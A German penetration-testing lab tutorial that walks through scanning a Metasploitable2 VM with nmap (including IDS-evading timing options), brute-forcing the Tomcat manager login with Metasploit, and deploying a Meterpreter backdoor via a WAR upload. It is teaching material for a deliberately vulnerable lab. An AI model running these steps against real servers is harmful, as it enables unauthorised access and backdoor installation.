Tomcat-Schwachstellen mit Nmap in Kali Linux ausnutzen

NmapBeginner
Jetzt üben

Einführung

In diesem Lab werden Sie die Prinzipien der Ausnutzung von Tomcat-Schwachstellen und den Angriffsprozess kennenlernen. Während des Angriffsprozesses lernen Sie, wie Sie Kali Linux verwenden und werden mit dem Angriffsframework Metasploit Framework (MSF) in Kali vertraut. Die Zielmaschine, die in diesem Lab penetriert werden soll, ist Metasploitable2, basierend auf der von LabEx bereitgestellten Kali-Umgebung.

Scannen Sie die Zielmaschine auf Netzwerksicherheitslücken

Bei einem typischen Penetrationstest müssen wir die Zielmaschine weiter angreifen. Das erste, was wir tun müssen, ist es, eine Penetrationsanalyse auf der Zielmaschine durchzuführen. Während des Scanning-Prozesses können wir die von der Maschine angebotenen Dienste entdecken und dann anhand der verfügbaren Informationen feststellen, ob es Schwachstellen gibt. Anschließend versuchen wir, die potenziellen Schwachstellen auszunutzen und letztendlich die Zielmaschine zu kompromittieren, um deren Schwachstellen zu ermitteln.

  1. Öffnen Sie ein xfce-Terminal auf der LabEx-Hostmaschine und starten Sie die Metasploitable2-Zielmaschine, indem Sie den folgenden Befehl ausführen:
sudo virsh start Metasploitable2

Warten Sie, bis die Zielmaschine gestartet ist. Dies kann 1 - 3 Minuten dauern.

  1. Testen Sie die Konnektivität zur Zielmaschine, indem Sie sie per Ping anpingen:
ping 192.168.122.102

Drücken Sie Ctrl+C, um den Ping-Vorgang zu stoppen.

  1. Starten Sie den Kali Linux-Container und treten Sie in die bash-Umgebung ein, indem Sie folgenden Befehl ausführen:
docker run -ti --network host b5b709a49cd5 bash
  1. Innerhalb des Kali-Containers testen Sie die Netzwerkverbindung zur Zielmaschine:
ping 192.168.122.102

Drücken Sie Ctrl+C, um den Ping-Vorgang zu stoppen.

Jetzt laufen sowohl die Angriffsmaschine als auch die Zielmaschine, und Sie können mit dem Penetrationstest beginnen.

  1. Anschließend starten wir die msfconsole und treten in die Bedienoberfläche ein:
cd ~
msfconsole
  1. In der Scanning-Phase ist Nmap ein sehr nützliches Scanning-Tool. Während des Schwachstellenscannings können wir potenzielle Schwachstellen analysieren und ausprobieren. Hier führen wir eine Penetrationsanalyse auf der Zielmaschine mit folgendem Befehl durch:
nmap -sV -T5 target

In obigem Befehl legt -T die Scangeschwindigkeit fest:

Parameter Bedeutung
nmap T0 Extremely langsame Analyse, zur Umgehung von IDS (Intrusion Detection System) verwendet
nmap T1 Langsame Analyse, Geschwindigkeit zwischen 0 und 2, kann auch einige IDS umgehen
nmap T2 Reduzierte Scangeschwindigkeit, normalerweise nicht verwendet
nmap T3 Standard-Scangeschwindigkeit
nmap T4 Kann die Zielmaschine überlasten, wahrscheinlich den Firewall auslösen
nmap T5 Extremely schnelle Analyse, opfert Genauigkeit für Geschwindigkeit

Drücken Sie Ctrl+D, um die Metasploit-Konsole zu beenden und dann die Prüfung zu starten

Brute-Force des Tomcat-Passworts

In diesem Schritt werden wir mit der Ausnutzung der Tomcat-Schwachstelle beginnen. Wir verwenden das Modul auxiliary/scanner/http/tomcat_mgr_login, das versucht, sich mit einer Reihe spezifischer Benutzernamen und Passwörter beim Tomcat-Manager anzumelden. Wenn die Anmeldung erfolgreich ist, wird das Ergebnis ausgegeben.

Der Code des Angriffsmoduls:

Aus den Scanergebnissen können wir sehen, dass der Port 8180 geöffnet ist. Versuchen wir, diesen Port anzugreifen. Zunächst suchen wir im MSF-Terminal nach dem Tomcat-Modul, um zu sehen, ob es ein entsprechendes Schwachstellenmodul gibt:

  1. Zunächst sollten Sie, wenn Sie nicht in der Metasploit-Konsole sind, die Metasploit-Konsole starten:
cd ~
msfconsole
  1. Verwenden Sie search, um das entsprechende Modul zu finden:
search tomcat
  1. Verwenden Sie den Befehl use, um das entsprechende Modul auszuwählen:
use auxiliary/scanner/http/tomcat_mgr_login
  1. Zeigen Sie die Parameter an, die festgelegt werden müssen:
show options
  1. Prüfen Sie dann die erforderlichen Parameter, die festgelegt werden müssen, und verwenden Sie den Befehl set, um die Parameter festzulegen:
set RHOSTS 192.168.122.102
  1. Legen Sie die Portinformationen fest:
set RPORT 8180
  1. Verwenden Sie als Nächstes den Befehl, um den Angriff auszuführen und das Passwort per Brute-Force zu ermitteln:
exploit

Drücken Sie Ctrl+D, um die Metasploit-Konsole zu beenden und dann die Prüfung zu starten

Verwenden Sie das Tomcat-Passwort für die Penetration

Nachdem wir das Tomcat-Passwort aus dem entsprechenden Modul erhalten haben, werden wir das Passwort nutzen, um die Zielmaschine zu penetrieren. Wir verwenden das Modul exploit/multi/http/tomcat_mgr_deploy, das sich beim Tomcat-Manager anmeldet und eine Payload ausführt. Diese Payload lädt mithilfe der PUT-Operation ein WAR-Paket hoch, und dieses WAR-Paket enthält eine JSP-Datei, die eine Meterpreter-Backdoor-Shell bereitstellt.

Der Code des Angriffsmoduls:

  1. Zunächst sollten Sie, wenn Sie nicht in der Metasploit-Konsole sind, die Metasploit-Konsole starten:
cd ~
msfconsole
  1. Suchen Sie nach dem entsprechenden Modul:
search tomcat
  1. Wählen Sie dann das entsprechende Angriffsmodul aus:
use exploit/multi/http/tomcat_mgr_deploy
  1. Verwenden Sie den Befehl show, um die erforderlichen Parameter anzuzeigen:
show options
  1. Legen Sie die Adresse des Zielhosts und den anzugreifenden Port fest:
set rhost 192.168.122.102
  1. Legen Sie die Portinformationen fest:
set rport 8180
  1. Legen Sie den Accountnamen httpusername fest:
set httpusername tomcat
  1. Legen Sie das Passwort httppassword fest:
set httppassword tomcat
  1. Führen Sie dann den Angriff aus (dies kann ungefähr eine Minute dauern):
exploit
  1. Gut, wir haben nun die Zielmaschine penetriert. Als Nächstes werden wir die erfolgreiche Penetration verifizieren. Geben Sie im erfolgreichen Befehlszeilenterminal den Befehl ein:
sysinfo

Geben Sie nicht whoami ein, da dies einen Fehler verursachen wird, da die hier verwendete Meterpreter-Payload Befehle wie hostname, id, whoami usw. nicht unterstützt. Sie können den Befehl help verwenden, um die unterstützten Befehle anzuzeigen:

Wie unten gezeigt, wird die Betriebssysteminformation angezeigt:

Computer        : metasploitable
OS              : Linux 2.6.24-16-server (i386)
Architecture    : x86
System Language : en_US
Meterpreter     : java/linux

Drücken Sie Ctrl+D, um die Metasploit-Konsole zu beenden und dann die Prüfung zu starten

Zusammenfassung

In diesem Lab haben Sie die Prinzipien der Tomcat-Schwachstelle und den Angriffsprozess kennengelernt. Im Allgemeinen müssen wir vor einem Penetrationstest Informationen über die Zielmaschine sammeln. Während des Informationssammlungsprozesses können wir Schwachstellen besser entdecken und die Zielmaschine kompromittieren. Nach Abschluss dieses Labs sollten Sie die folgenden Wissenspunkte beherrschen:

  • Prinzipien der Tomcat-Schwachstelle
  • Verwendung des Nmap-Scannings
  • MSF-Angriffsprozess
  • Verifizierung von erfolgreichen Angriffen